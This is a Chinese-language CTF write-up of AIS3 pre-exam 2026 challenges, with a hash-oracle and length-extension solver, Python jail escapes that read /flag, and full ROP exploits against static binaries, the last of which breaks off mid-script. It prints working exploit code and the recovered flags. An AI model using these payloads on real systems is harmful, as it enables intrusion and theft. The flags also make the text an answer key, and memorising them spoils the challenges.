前言

這篇收錄我在 AIS3 pre-exam 2026 有寫下解題過程的 15 題，涵蓋 Crypto、Misc、Pwn、Reverse、Web 五個類別。

  • 名次：43rd
  • 分數：2341 points
  • 隊名：Ianon

Crypto

EasyZKP

nc chals1.ais3.org 48765，要通過遠端 verifier 的 16 回合挑戰。本機 flag.txt 只有 AIS3{TEST_ME}，是測試用的，不能提交。

先把 verifier、prover 跟共用的 proof 程式碼讀一遍：

1
2
3
sed -n '1,260p' crypto/EasyZKP/extracted/verifier/chal.py
sed -n '1,260p' crypto/EasyZKP/extracted/proof/app.py
sed -n '1,220p' crypto/EasyZKP/extracted/shared/zkp.py

verifier 有兩種模式。oracle 模式會給我一個隨機 32-byte server suffix、讓我輸入 user suffix、產生隨機 seed，然後去跟內部的 HTTP prover 要 proof；這個模式還允許我翻轉 SHA-256 digest 的 bit 再要一次 proof。challenge 模式則是要我在不知道 flag 的情況下，交出 SHA256(flag || user_suffix || server_suffix) 的正確 proof。

那個 prover URL 是這樣組的：

1
url = f"{PROVER_URL}?p={server_part_b64}{flip_query}&d={user_part_b64}&s={seed}"

user_part_b64 沒有做 URL encoding 就直接插進 query string。所以我輸入 QQ==&s=<我要的 seed>，prover 收到的就是 d=QQ==&s=<我的>&s=<verifier 的>。而 prover 那邊寫的是 seed = int(query["s"][0])，取第一個。我注入的 seed 排在前面，seed 就是我控制的了。

proof 用的是模 N 的指數運算：

1
N = 1371086445846712667727718527036585861739497962228620061686456237722902428356146756731186939

直接 msieve 分掉：

1
msieve 1371086445846712667727718527036585861739497962228620061686456237722902428356146756731186939
1
2
p = 1062991560384192946446466724143851978243633013
q = 1289837564986090927380812179078126226643568303

phi = (p-1)*(q-1) 小於 N，剛好過 prover 對 seed 的範圍檢查。

接著是這題最漂亮的地方。proof 函式從 value = 0 開始逐 bit 處理 digest：

1
2
0 -> value = value + seed mod N
1 -> value = value ** seed mod N

把 seed 注入成 phi(N)，Euler 定理告訴我們對任何與 N 互質的值 value ** phi(N) = 1 mod N。所以第一個 zero bit 讓狀態變成非零之後，每一個 one bit 都會把狀態重設成 1。最後的 proof 只剩一個資訊：digest 結尾有幾個 zero bit。

1
proof = 1 + trailing_zero_count * phi(N) mod N

一個純粹的 digest oracle 就這樣做出來了。查一次 proof 知道最後一個 one bit 在哪，把它翻成 zero，再查一次，從右往左走完所有 one bit，整個 256-bit digest 就重建出來了。

翻轉次數上限是 128，而隨機 SHA-256 digest 平均剛好約 128 個 one bit，所以偶爾會撞上限。撞到就重進 oracle 模式拿新的 prefix 重來，腳本裡直接寫成迴圈：

1
2
3
4
5
6
def proof_to_trailing_zeros(proof: int) -> int:
    lookup = {(1 + count * PHI) % N: count for count in range(256)}
    lookup[(256 * PHI) % N] = 256
    if proof not in lookup:
        raise RuntimeError("seed injection did not produce a phi-pattern proof")
    return lookup[proof]

有了 D = SHA256(flag || prefix) 就是標準的 SHA-256 length extension。challenge 模式是先給 server suffix 再要我輸入 nonce，所以我送 base64(prefix || sha256_padding(L + len(prefix)))，verifier 實際 hash 的就變成 flag || prefix || padding || challenge_server_suffix，正好是我能算的那個延伸訊息。

flag 長度 L 未知，但錯的長度會在第 1 回合就掛掉，所以從小到大暴搜很快：

1
2
3
4
5
for flag_len in range(6, 160):
    flag = answer_challenge(recovered, flag_len)
    if flag and "AIS3{" in flag:
        print(f"[+] flag: {flag}")
        return

遠端正確長度是 62。跑：

1
python3 crypto/EasyZKP/solve.py
1
2
[+] flag_len=62 round 16/16 ok
[+] flag: AIS3{simple_oracle_and_dramatic_injections_leading_forge_XDDD}

AIS3{simple_oracle_and_dramatic_injections_leading_forge_XDDD}

Misc

Welcome

題目敘述是一首迷因歌詞（「six seven 🗣️🔥」），最後只給一句話：

Scan the qrcode to get the flag!
https://ais32026scanme.pwn2ooown.tech/

開下去，第一眼就發現兩件事：頁面用 SVG 顯示一個 QR code，而且這個 QR code 一直在變，每幾百毫秒換一張。

所以它不是一張圖，是被當成資料串流在用。開 DevTools 看，app.js 被混淆得很嚴重，DOM 裡永遠只有一個 <svg> 被反覆替換，也沒有 WebSocket 或 REST 端點直接吐資料。唯一的路就是把每一幀抓下來自己解。

用手機掃一張看看，解出來長這樣：

1
https://qrss.netlify.app/#<看起來像 base64 的字串>

進 qrss.netlify.app 一看，這站本身就叫「QR Stream Sender / Receiver」，而且它的 qrss.js 沒有被混淆（不像題目的 app.js），直接讀就知道格式了：這是 fountain code，每個 fragment 是若干原始 block XOR 起來的結果。base64 decode 之後的 header 是：

欄位 型別 意義
degree uint32 (LE) 這個 fragment 是幾個 block XOR 起來的
indices[degree] uint32 × degree 哪幾個 block
total_blocks uint32 原始檔案切成幾個 block
total_size uint32 原始檔案總長度
stream_id uint32 串流 id
data bytes 那 degree 個 block 的 XOR 結果

手動掃絕對跟不上動畫速度，所以用 jsdom 在 Node 裡把頁面跑起來，定時抓 <svg>，用 outerHTML 去重：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// capture.js ， 把網頁上的 SVG QR 影格抓成檔案。
const { JSDOM, ResourceLoader } = require("jsdom");
const fs = require("fs");

const URL = "https://ais32026scanme.pwn2ooown.tech/";
const OUT = "frames";
fs.mkdirSync(OUT, { recursive: true });

(async () => {
  const dom = await JSDOM.fromURL(URL, {
    runScripts: "dangerously",
    resources: new ResourceLoader(),
    pretendToBeVisual: true,
  });

  // 給 app.js 一點時間啟動動畫
  await new Promise(r => setTimeout(r, 2000));

  const seen = new Set();
  for (let i = 0; i < 600; i++) {           // 50 ms × 600 ≈ 30 秒
    const svg = dom.window.document.querySelector("svg");
    if (svg) {
      const html = svg.outerHTML;
      if (!seen.has(html)) {
        const name = `qr_${String(seen.size).padStart(3, "0")}.svg`;
        fs.writeFileSync(`${OUT}/${name}`, html);
        seen.add(html);
      }
    }
    await new Promise(r => setTimeout(r, 50));
  }

  console.log(`Saved ${seen.size} unique frames.`);
  dom.window.close();
})();

node capture.js 跑完會拿到約 50 張 unique SVG。zbarimg 不吃 SVG，所以先用 ImageMagick 轉檔再解：

1
2
3
4
5
6
7
8
9
10
cd frames
for f in qr_*.svg; do
  magick "$f" "${f%.svg}.png"
done

for f in qr_*.png; do
  zbarimg --raw -q "$f"
done | sort -u > ../qr_urls.txt

sed 's#^https://qrss\.netlify\.app/##; s/^#//' qr_urls.txt > qr_fragments.txt

剩下的就是 peeling decoder：找出任何一個 degree 為 1 的 fragment，它的 data 就是那個 block；把已知 block XOR 進所有含它的 fragment、degree 減一；重複到全部還原。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// decode.js ， qrss fountain code 的 peeling decoder。
const fs = require("fs");

const lines = fs.readFileSync("qr_fragments.txt", "utf8")
  .split("\n").map(s => s.trim()).filter(Boolean);

function parseFragment(b64) {
  // qrss 使用 url-safe base64（無 padding）
  const norm = b64.replace(/-/g, "+").replace(/_/g, "/");
  const buf = Buffer.from(norm + "==".slice((norm.length + 2) % 4), "base64");
  const dv = new DataView(buf.buffer, buf.byteOffset, buf.byteLength);
  let off = 0;
  const degree = dv.getUint32(off, true); off += 4;
  const indices = new Set();
  for (let i = 0; i < degree; i++) {
    indices.add(dv.getUint32(off, true));
    off += 4;
  }
  const totalBlocks = dv.getUint32(off, true); off += 4;
  const totalSize   = dv.getUint32(off, true); off += 4;
  const streamId    = dv.getUint32(off, true); off += 4;
  const data = Buffer.from(buf.subarray(off));
  return { indices, totalBlocks, totalSize, streamId, data };
}

const fragments = lines.map(parseFragment);
const totalBlocks = fragments[0].totalBlocks;
const totalSize   = fragments[0].totalSize;
const blockSize   = fragments[0].data.length;

const decoded = new Map();     // index -> Buffer
let progress = true;
while (progress) {
  progress = false;

  for (const f of fragments) {
    if (f.indices.size === 1) {
      const idx = [...f.indices][0];
      if (!decoded.has(idx)) {
        decoded.set(idx, Buffer.from(f.data));
        progress = true;
      }
    }
  }

  for (const [idx, block] of decoded) {
    for (const f of fragments) {
      if (f.indices.size > 1 && f.indices.has(idx)) {
        for (let b = 0; b < f.data.length; b++) f.data[b] ^= block[b];
        f.indices.delete(idx);
        progress = true;
      }
    }
  }
}

if (decoded.size !== totalBlocks) {
  console.error(`Only recovered ${decoded.size}/${totalBlocks} blocks; capture more frames.`);
  process.exit(1);
}

const out = Buffer.alloc(totalBlocks * blockSize);
for (const [idx, block] of decoded) block.copy(out, idx * blockSize);
fs.writeFileSync("output.dat", out.subarray(0, totalSize));
console.log(`Wrote ${totalSize} bytes to output.dat`);

50 張 frame 剛好夠還原 38 個 block。

1
2
3
4
file output.dat
# output.dat: zlib compressed data

python3 -c 'import sys,zlib; open("payload.bin","wb").write(zlib.decompress(open("output.dat","rb").read()))'

hexdump 開頭直接告訴我裡面是什麼：

1
2
3
4
00000000  3f 00 00 00 7b 22 66 69  6c 65 6e 61 6d 65 22 3a  ?...{"filename":
00000010  22 36 37 5f 31 6b 5f 66  6c 61 67 2e 77 65 62 70  "67_1k_flag.webp
00000020  22 2c 22 63 6f 6e 74 65  6e 74 54 79 70 65 22 3a  ","contentType":
00000030  22 69 6d 61 67 65 2f 77  65 62 70 22 7d xx xx xx  "image/webp"}...

uint32 長度 + JSON metadata + uint32 長度 + 檔案內容，拆出來：

1
2
3
4
5
6
7
8
9
10
11
12
# extract.py
import json, struct

buf = open("payload.bin", "rb").read()
meta_len = struct.unpack_from("<I", buf, 0)[0]
meta = json.loads(buf[4:4 + meta_len])
body_off = 4 + meta_len
body_len = struct.unpack_from("<I", buf, body_off)[0]
body = buf[body_off + 4 : body_off + 4 + body_len]

open(meta["filename"], "wb").write(body)
print("wrote", meta["filename"], len(body), "bytes")

得到 67_1k_flag.webp，開起來是一張 six seven 迷因圖，flag 就印在底部。

AIS3{Hello_LLM_welcome_to_pre_exam_2026!}

Jail

打根端點就把 server 程式碼吐出來了：

1
2
3
4
5
6
7
8
9
10
11
12
13
shebang = '#!/usr/local/bin/python3'

@app.post('/<uid>')
def run(uid):
    uuid.UUID(uid)
    d = unicodedata.normalize("NFKC", request.data.decode())
    assert not any(i in d for i in "()_[]{}.@#")
    open(f"data/{uid}","w").write(shebang + d)
    os.chmod(f"data/{uid}", 0o755)
    os.popen(f"./data/{uid} > ./output/{uid}")
    time.sleep(1)
    r = open(f"output/{uid}","r").read()
    return r

流程是：payload 先 NFKC 正規化 → 檢查有沒有 ()_[]{}.@# → 加上 shebang 寫成檔案 → chmod 755 跑起來 → 把 stdout 讀回來。

沒有 () 就不能呼叫函式，沒有 . 就不能存取屬性，沒有 # 就不能寫註解。但注意那個 shebang 沒有結尾換行，我的 payload 是直接黏在它後面的。

Python 支援 PEP 263 encoding cookie，只要第一或第二行匹配 ^[ \t\f]*#.*?coding[:=][ \t]*([-\w.]+)。我不能自己寫 #，但 shebang 那個 # 已經在位置 0 了。所以只要我的第一行接在後面帶上 coding=unicode-escape，正規表達式就會匹配到 shebang 那行。

問題是 kernel 處理 shebang 時，會把第一個空格之後的全部東西當成單一參數丟給 Python。coding: unicode-escape 會被當成腳本檔名去開，然後失敗。

解法是把它包成一個合法的 -W 警告過濾器規格：

1
#!/usr/local/bin/python3 -Wd:coding=unicode-escape

-W 會把 d:coding=unicode-escape 吃掉（動作 d、訊息模式 coding=unicode-escape，最簡的 2 欄位過濾器），Python 繼續往下讀腳本檔，而 PEP 263 的 regex 還是能從第一行匹配到 coding= 並抓出 unicode-escape。而且 -Wd:coding=unicode-escape 裡面一個被禁的字元都沒有，只有連字號、冒號、等號跟字母。

shebang 跟 -W 之間需要一個空格，但我的 payload 第一個字元就得是它。這裡用不換行空格 U+00A0，NFKC 會把它正規化成一般空格，而一般空格不在黑名單裡。

第二行就用 unicode-escape 把被擋的字元寫成 \xNN：

跳脫序列 字元 用途
\x28 ( 函式呼叫
\x29 ) 函式呼叫
\x27 ' 字串字面值
\x2e . 屬性存取

寫進檔案之後長這樣：

1
2
#!/usr/local/bin/python3 -Wd:coding=unicode-escape
print\x28open\x28\x27/flag\x27\x29\x2eread\x28\x29\x29

Python 解完就是 print(open('/flag').read())。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import uuid
import unicodedata

# 建構 payload
line1 = ' -Wd:coding=unicode-escape\n'
line2 = 'print\\x28open\\x28\\x27/flag\\x27\\x29\\x2eread\\x28\\x29\\x29\n'
payload = line1 + line2

# 驗證斷言通過
d = unicodedata.normalize("NFKC", payload)
assert not any(c in d for c in "()_[]{}.@#")

# 發送
uid = str(uuid.uuid4())
r = requests.post(f"http://chals1.ais3.org:10001/{uid}", data=payload.encode())
print(r.text)

（line1 開頭那個空格在實際 payload 裡是 U+00A0，不是一般空格。）

AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}

Jail Revenge

同一個服務，多了一條限制：

1
assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50

第一行長度必須小於 50。上一題那個 -Wd:coding=unicode-escape 加上 payload 本身的寫法還是過得了長度檢查，不過這題我換了個更漂亮的 codec。

關鍵是 raw_unicode_escape：這個 codec 把 bytes 當 Latin-1 讀，但會額外把字面上的 \uXXXX 序列解成對應的 Unicode codepoint，而且這發生在 Python tokenizer 跑之前。所以我在檔案裡寫 6 個 ASCII 字元 \u0028，parser 看到的就是真的 (。

第一行照舊靠 shebang 當 encoding cookie：

1
#!/usr/local/bin/python3 -Wcoding=raw-unicode-escape

這裡有個小細節：coding=raw-unicode-escape 其實不是合法的 warning filter。但 Python 啟動時只會把它加進清單，等實際套用時才驗證，驗證失敗只印一行 Invalid -W option ignored: … 到 stderr，而 stderr 沒被重導向，所以我完全感覺不到。Python 照樣往下跑、開檔、套 codec、開始 parse。

d.split("\n")[0] 是 -Wcoding=raw-unicode-escape，28 字元，長度檢查輕鬆過。

被擋的字元對照表：

被擋的字元 寫成這樣
( \u0028
) \u0029
_ \u005f
. \u002e

所以 payload 第二行是：

1
\u005f\u005fimport\u005f\u005f\u0028"os"\u0029\u002esystem\u0028"cat /flag"\u0029

codec 解完 Python 看到的就是 __import__("os").system("cat /flag")。

這裡卡了我一陣子：送出去一直拿到 200 OK 但 body 是空的。原因是 curl 預設 Content-Type: application/x-www-form-urlencoded，Flask 就會把 body 解成 form data，request.data 變成空字串，寫進去的檔案只有 shebang，跑起來當然沒輸出。改成 text/plain（任何非 form 的 type 都行）就好了。

另外那些 \u0028 必須原封不動送到 server，所以 printf 要用 %s 帶進去，不能直接放在 format string 裡（不然 shell 會自己把 \u 解掉）：

1
2
3
4
5
6
7
U=$(python3 -c 'import uuid;print(uuid.uuid4())')
printf '%s\n%s\n' \
  ' -Wcoding=raw-unicode-escape' \
  '\u005f\u005fimport\u005f\u005f\u0028"os"\u0029\u002esystem\u0028"cat /flag"\u0029' \
  | curl -X POST "http://chals1.ais3.org:10002/$U" \
         -H "Content-Type: text/plain" \
         --data-binary @-

回應：

1
2
#!/bin/true
#AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}

server 上的 /flag 自己就是個以 #!/bin/true 開頭的「腳本」，所以就算被 chmod +x 也沒事，真正的 flag 是第二行的註解。

AIS3{D3MN_21P_PYD0C_A5_--MA1N--_D07_PY}

想在雪中來杯下午茶嗎？

OSINT 題，給一張街景照片，要定出地點再把座標組成 flag。

照片裡有個路牌可以清楚看到「豊郷町（Toyosato）」，Google Maps 搜一下就定位到日本滋賀縣犬上郡豐鄉町。

再看畫面裡的環境特徵：有鐵路平交道、道路跟鐵軌交叉、周圍是鄉村住宅區、附近有自動販賣機跟路牌。於是沿著豐鄉町附近的鐵道線找符合「道路穿越鐵軌」的地點，比對到第三個平交道就跟題目照片完全一致。

1
https://www.google.com/maps/place/Toyosato,+Inukami+District,+Shiga,+Japan/@35.193507,136.2268106,3a,75y,128.15h,81.74t/data=!3m7!1e1!3m5!1sziNVLnVNBlQJwCsTwustyQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D8.257144546164255%26panoid%3DziNVLnVNBlQJwCsTwustyQ%26yaw%3D128.15290288160216!7i16384!8i8192!4m6!3m5!1s0x6003d5d8863a77cf:0x380ad0970b72a031!8m2!3d35.2004767!4d136.2299935!16zL20vMDJyanJn

緯度 35.193507、經度 136.2268106，各取到小數第三位組起來就是 flag。

AIS3{35.193-136.226}

Pwn

DG Server (Pwn)

題目給一顆靜態連結的 x86-64 binary，在 HTTP 上實作一個類 DNSSEC 協定（DNS-over-HTTP），flag 在 server 檔案系統的 /flag.txt。所以這是真的要在 server 上拿到程式控制，不是偽造協定就好。

遠端 instance 要先過 SHA-256 PoW 才拿得到：

1
2
3
4
curl -s http://chals1.ais3.org:57575/ | grep challenge_id
curl -fsSL http://chals1.ais3.org:57575/pow/solver/pow-01krrn5ks418ada4w221a3wtv8 | python3
curl -s -X POST http://chals1.ais3.org:57575/start \
     -d 'challenge_id=pow-01krrn5ks418ada4w221a3wtv8&nonce=<NONCE>'

這步要記住，因為等一下探測 overflow 時很容易把 worker 弄崩，崩了就得回來重開一個。

1
2
file extractions/dg-server
checksec --file=extractions/dg-server
1
2
3
4
5
6
ELF 64-bit LSB executable, statically linked, stripped, for GNU/Linux
Arch:    amd64-64-little
RELRO:   Partial RELRO
Stack:   No canary found
NX:      NX enabled
PIE:     No PIE (0x400000)

靜態連結代表 gadget 一大堆；No PIE 代表位址可以寫死；NX 代表要走 ROP。Stack: No canary found 是 checksec 誤判，binary 實際上有透過 fs:[0x28] 啟用 glibc 風格的 canary，反組譯就看得到。不過它每條連線都 fork，所以 canary 在 parent 跟所有 child 之間一致，洩漏一次就能重複用。

先送個正常查詢：

1
2
printf 'GET /dns-query?name=www.curious.sleeping.&type=A HTTP/1.1\r\n'\
'Host:x\r\nConnection: close\r\n\r\n' | nc -w 5 chals1.ais3.org 57573
1
2
www.curious.sleeping. A 67.67.67.67
www.curious.sleeping. RRSIG A 15 3 3600 20300101000000 20260513000000 64999 curious.sleeping. R5tx...DA==

丟個不支援的 type：

1
type=AAAA → {"Status":4,"Comment":"invalid query type","bad_type":"41414141"}

bad_type 會把我送的 type 內容 hex 編碼後回傳，天然的洩漏管道。

接著探 type 的長度敏感性：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import socket
def q(name, typ):
    s = socket.create_connection(('chals1.ais3.org', 57573), timeout=8)
    s.sendall(f'GET /dns-query?name={name}&type={typ} HTTP/1.1\r\nHost:x\r\nConnection: close\r\n\r\n'.encode())
    out = b''
    while True:
        c = s.recv(4096)
        if not c: break
        out += c
    s.close()
    return out

for n in [50, 60, 70, 80, 100]:
    out = q('www.curious.sleeping.', 'A'*n)
    print(n, len(out))
1
2
50  → 回 473 bytes
60+ → 回 0 bytes（process 在回應前就崩潰）

50 到 60 之間有個邊界，剛好對應 type buffer 到 canary 的距離 56（0x38）。進 radare2 確認：

1
2
r2 -A extractions/dg-server
[0x00400000]> pdf @ 0x40923f
1
2
3
4
5
6
7
8
9
0x4092c7  mov word [rbp-0x2e], ax          ; var_2eh = clamp 後的 type 長度
0x4092d6  lea rdx, [rbp-0x40]              ; var_40h  = 22 bytes 已清零的「type 大寫」buffer
0x4092e4  call fcn.0040917f                ; 把 type 寫進 [rbp-0x40]
0x4092f0  call fcn.00408fa6                ; 依 buffer 內容查表
0x40934e  ...                              ; bad_type JSON 分支（查表失敗時）
0x4093c5  mov rax, qword [rbp-0x08]        ; canary 檢查
0x4093c9  sub rax, qword fs:[0x28]
0x4093d4  call __stack_chk_fail
0x4093d9  leave; ret

copy 函式 fcn.0040917f 的 loop 條件是 while i < struct[0x108]，而 struct[0x108] 是 type 欄位的解碼後長度，完全沒有限制在那 22 bytes 的清零範圍內。教科書級的線性 stack overflow：

1
2
3
4
5
6
7
8
offset  0..15  →  type 原文（前 16 個會被 toupper）
offset 16..17  →  覆蓋 var_30h
offset 18..19  →  覆蓋 var_2eh
offset 20..21  →  覆蓋 var_2ch
offset 22..55  →  覆蓋 local scratch
offset 56..63  →  canary
offset 64..71  →  saved rbp
offset 72..79  →  return address

URL 編碼在這裡很重要：內部 decoder 會處理 %XX，所以 %00 可以寫 \x00。strlen 掃描只在遇到 &、空白、\r、\n、\x00 時停，所以只要那些 byte 都用 %XX 表示，loop 就沒有上限。

然後是最爽的一步。bad_type 分支長這樣：

1
2
3
4
0x40936e  movzx eax, word [rbp-0x30]   ; 讀 var_30h
0x40937a  cmova  eax, 0xa0              ; 上限 160
0x409380  lea  rcx, [rbp-0x40]          ; buffer 起點
0x4093a0  call fcn.0040905f             ; 把 rcx 起的 eax bytes hex-encode 進 JSON

var_30h 就是 hex dump 的長度，位置在 var_40h + 0x10，我的 overflow 在 dump 執行前就蓋掉它了。把它設成 0xa0，server 就會把 160 bytes 的 stack 內容（含 canary、saved rbp、return address）hex 編碼回傳給我。

觸發只要 18 個解碼後的 byte，根本碰不到 canary：

1
leak = q('www.curious.sleeping.', 'AAAAAAAAAAAAAAAA%a0%00')
1
2
3
4
5
6
buf[  0.. 15]  41 41 ... 41                       'A' * 16              （我們的 filler）
buf[ 16.. 17]  a0 00                              var_30h（我們覆蓋的）
buf[ 18.. 19]  12 00                              var_2eh = 0x0012 = 18  （解碼後長度）
buf[ 56.. 63]  00 73 ab 91 8b 6c 12 08            CANARY（低位 byte = 0x00 ✓）
buf[ 64.. 71]  30 1a df 29 ff 7f 00 00            saved rbp
buf[ 72.. 79]  e4 95 40 00 00 00 00 00            saved RIP = 0x4095e4

saved_rbp 是 HTTP handler fcn.00409440 的 base pointer，從它的 prologue 看得到 recv buffer 在 rbp - 0x6020，所以 recv_buf = saved_rbp - 0x6020 = 0x7fff29deba10。

gadget 完全不缺：

1
2
ROPgadget --binary extractions/dg-server > /tmp/rop.txt
grep -E 'pop rdi ; ret$|pop rsi ; ret$|pop rdx ; ret$|pop rax ; ret$' /tmp/rop.txt
1
2
3
4
0x69a383 : pop rdi ; ret
0x46958e : pop rsi ; ret
0x4d5513 : pop rdx ; ret
0x694ed4 : pop rax ; ret

syscall ; ret 直接掃 raw byte：

1
2
data = open('extractions/dg-server','rb').read()
print([hex(i) for i in range(len(data)) if data[i:i+3]==b'\x0f\x05\xc3'])

拿到 0x711d26。

接著追 accept/fork 迴圈，發現 child 的 fd 配置超級友善：

1
2
3
fd 0/1/2 → stdin/stdout/stderr（繼承）
fd 3      → 已釋放（剛剛關掉 listen socket）
fd 4      → client socket（這條 TCP 連線）

所以 open("/flag.txt", 0) 一定拿到 fd 3（Linux 回傳最小可用 fd），而 write(4, ...) 就是寫回我自己的連線。連 dup2 或 mov rdi, rax 的 gadget 都不用找。

"/flag.txt\0" 字串直接塞在 HTTP request 尾端的 header 裡，位址 = recv_buf + offset。offset 依賴 URL 編碼後的長度，所以迭代幾次讓它收斂就好：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
import socket, re, struct, sys

HOST, PORT = 'chals1.ais3.org', 57573

POP_RDI = 0x69a383
POP_RSI = 0x46958e
POP_RDX = 0x4d5513
POP_RAX = 0x694ed4
SYSCALL = 0x711d26
BSS     = 0x8f6800


def p64(v):
    return struct.pack('<Q', v & 0xffffffffffffffff)


def send(req, t=10):
    s = socket.create_connection((HOST, PORT), timeout=t)
    s.sendall(req)
    out = b''
    while True:
        try:
            c = s.recv(4096)
        except Exception:
            break
        if not c:
            break
        out += c
    s.close()
    return out


def url_encode(data):
    out = bytearray()
    for b in data:
        if (0x41 <= b <= 0x5A) or (0x30 <= b <= 0x39):
            out.append(b)
        else:
            out.extend(b'%%%02X' % b)
    return bytes(out)


# Stage 1：洩漏
leak_type = b'AAAAAAAAAAAAAAAA%a0%00'
leak_req  = b'GET /dns-query?name=www.curious.sleeping.&type=' + leak_type + \
            b' HTTP/1.1\r\nHost:x\r\nConnection: close\r\n\r\n'
resp = send(leak_req).decode(errors='replace')
m = re.search(r'"bad_type":"([0-9a-f]+)"', resp)
leak = bytes.fromhex(m.group(1))
canary    = struct.unpack('<Q', leak[56:64])[0]
saved_rbp = struct.unpack('<Q', leak[64:72])[0]
RECV_BUF  = saved_rbp - 0x6020
assert canary & 0xff == 0


# Stage 2：建 ROP
def build_rop(flag_addr):
    chain  = p64(POP_RDI) + p64(flag_addr)
    chain += p64(POP_RSI) + p64(0)
    chain += p64(POP_RDX) + p64(0)
    chain += p64(POP_RAX) + p64(2)
    chain += p64(SYSCALL)
    chain += p64(POP_RDI) + p64(3)
    chain += p64(POP_RSI) + p64(BSS)
    chain += p64(POP_RDX) + p64(0x200)
    chain += p64(POP_RAX) + p64(0)
    chain += p64(SYSCALL)
    chain += p64(POP_RDI) + p64(4)
    chain += p64(POP_RSI) + p64(BSS)
    chain += p64(POP_RDX) + p64(0x200)
    chain += p64(POP_RAX) + p64(1)
    chain += p64(SYSCALL)
    return chain


prefix          = b'GET /dns-query?name=www.curious.sleeping.&type='
suffix_pre_flag = b' HTTP/1.1\r\nHost:x\r\nConnection: close\r\nX: '
flag_str        = b'/flag.txt\x00'
suffix_post     = b'\r\n\r\n'

flag_addr = 0
for _ in range(5):
    rop      = build_rop(flag_addr)
    payload  = b'A'*16 + b'\x00\x00' + b'B'*38 + p64(canary) + p64(0xdeadbeef) + rop
    type_url = url_encode(payload)
    flag_off = len(prefix) + len(type_url) + len(suffix_pre_flag)
    new_addr = RECV_BUF + flag_off
    if new_addr == flag_addr:
        break
    flag_addr = new_addr

req = prefix + type_url + suffix_pre_flag + flag_str + suffix_post
print(send(req, t=15).decode(errors='replace'))

exploit 仍然會走 bad_type 分支，但這次 var_30h 設成 0，dump 是空的，JSON 正常收尾後執行 leave; ret，leave 把 rsp 還原到 buf[64…71]，ret 把 buf[72…79] pop 進 rip，剛好接上我佈好的 chain。

1
python3 exploit.py
1
AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ}

AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_😦((_QQ}

std::print(“Hello, World”) revenge

nc chals1.ais3.org 50002，要讀出程式從 flag.txt 載入的 flag。

1
2
3
unzip 'dist-cpp-print-revenge-58327d57cfe454c811911a3bc47c908dbc5cff35.zip'
tar -xzf chal.tar.gz
checksec --file=share/chall
1
2
3
4
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

沒 canary 所以能控 return address，NX 所以不能 shellcode，No PIE 所以位址寫死，Full RELRO 所以不能改 GOT，結論就是 ROP。

binary 沒 strip，symbol 直接看：

1
nm -C share/chall | grep -E 'FLAG|load_flag|Question|show_number'
1
2
3
4
5
0000000000427040 b FLAG
000000000041a160 r FAKEFLAG
0000000000403506 t load_flag()
000000000040356c T show_number()
00000000004035d4 T Question()

FAKEFLAG 是編進去的誘餌，真正要讀的是可寫的 FLAG（0x427040），load_flag() 會把 flag.txt 讀進這裡。

1
objdump -d -M intel share/chall | sed -n '/<_Z8Questionv>/,/^$/p'
1
2
3
4
5
6
sub    rsp,0x50
lea    rax,[rbp-0x50]
mov    edx,0xe0
mov    rsi,rax
mov    edi,0x0
call   read@plt

buffer 0x50 bytes，read() 收 0xe0 bytes。加上 saved rbp 就是 offset 0x58。函式還會檢查第一個 byte 是 Y 或 y，否則直接結束。

這題最有趣的是輸出方式。show_number() 印的是 Value: {2}\n，它呼叫的 instantiated function 是 std::print<int&, int&, int&>，一個保存三個 integer reference、然後印出第 2 個參數的 wrapper。

所以我根本不需要 format string 漏洞。format string 還是程式原本那個固定的 Value: {2}\n，我只要改變第三個 integer reference 指向哪裡就好。指到 FLAG + offset，std::print 就會把 flag buffer 的四個 byte 當整數讀出來、以十進位印給我。

ROP chain 分兩階段：先 read(0, 0x427200, 0x300) 把 fake frame 寫進 .bss，再把 rbp 設成 fake frame、跳到 0x406b75（既有 wrapper 的 prologue 之後）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3
"""Exploit std::print("Hello, World") revenge."""

from time import sleep

from pwn import context, flat, p32, p64, remote

context.clear(arch="amd64")
context.log_level = "error"

HOST = "chals1.ais3.org"
PORT = 50002

POP_RDI_RBP = 0x416E51
POP_RSI_RBP = 0x4153F7
POP_RDX = 0x41399C
POP_RBP = 0x4034ED

READ_PLT = 0x403310
EXIT_PLT = 0x4032B0
PRINT_STAGE = 0x406B75

FORMAT_VALUE_2 = 0x41A2B8
FLAG = 0x427040

BSS_BASE = 0x427200
FAKE_RBP = BSS_BASE + 0x200
DUMMY_INT = BSS_BASE + 0x20


def build_payloads(offset: int) -> tuple[bytes, bytes]:
    """Return the overflow payload and the fake .bss frame for one leak."""
    rop = flat(
        POP_RDI_RBP, 0, 0,
        POP_RSI_RBP, BSS_BASE, 0,
        POP_RDX, 0x300,
        READ_PLT,
        POP_RBP, FAKE_RBP,
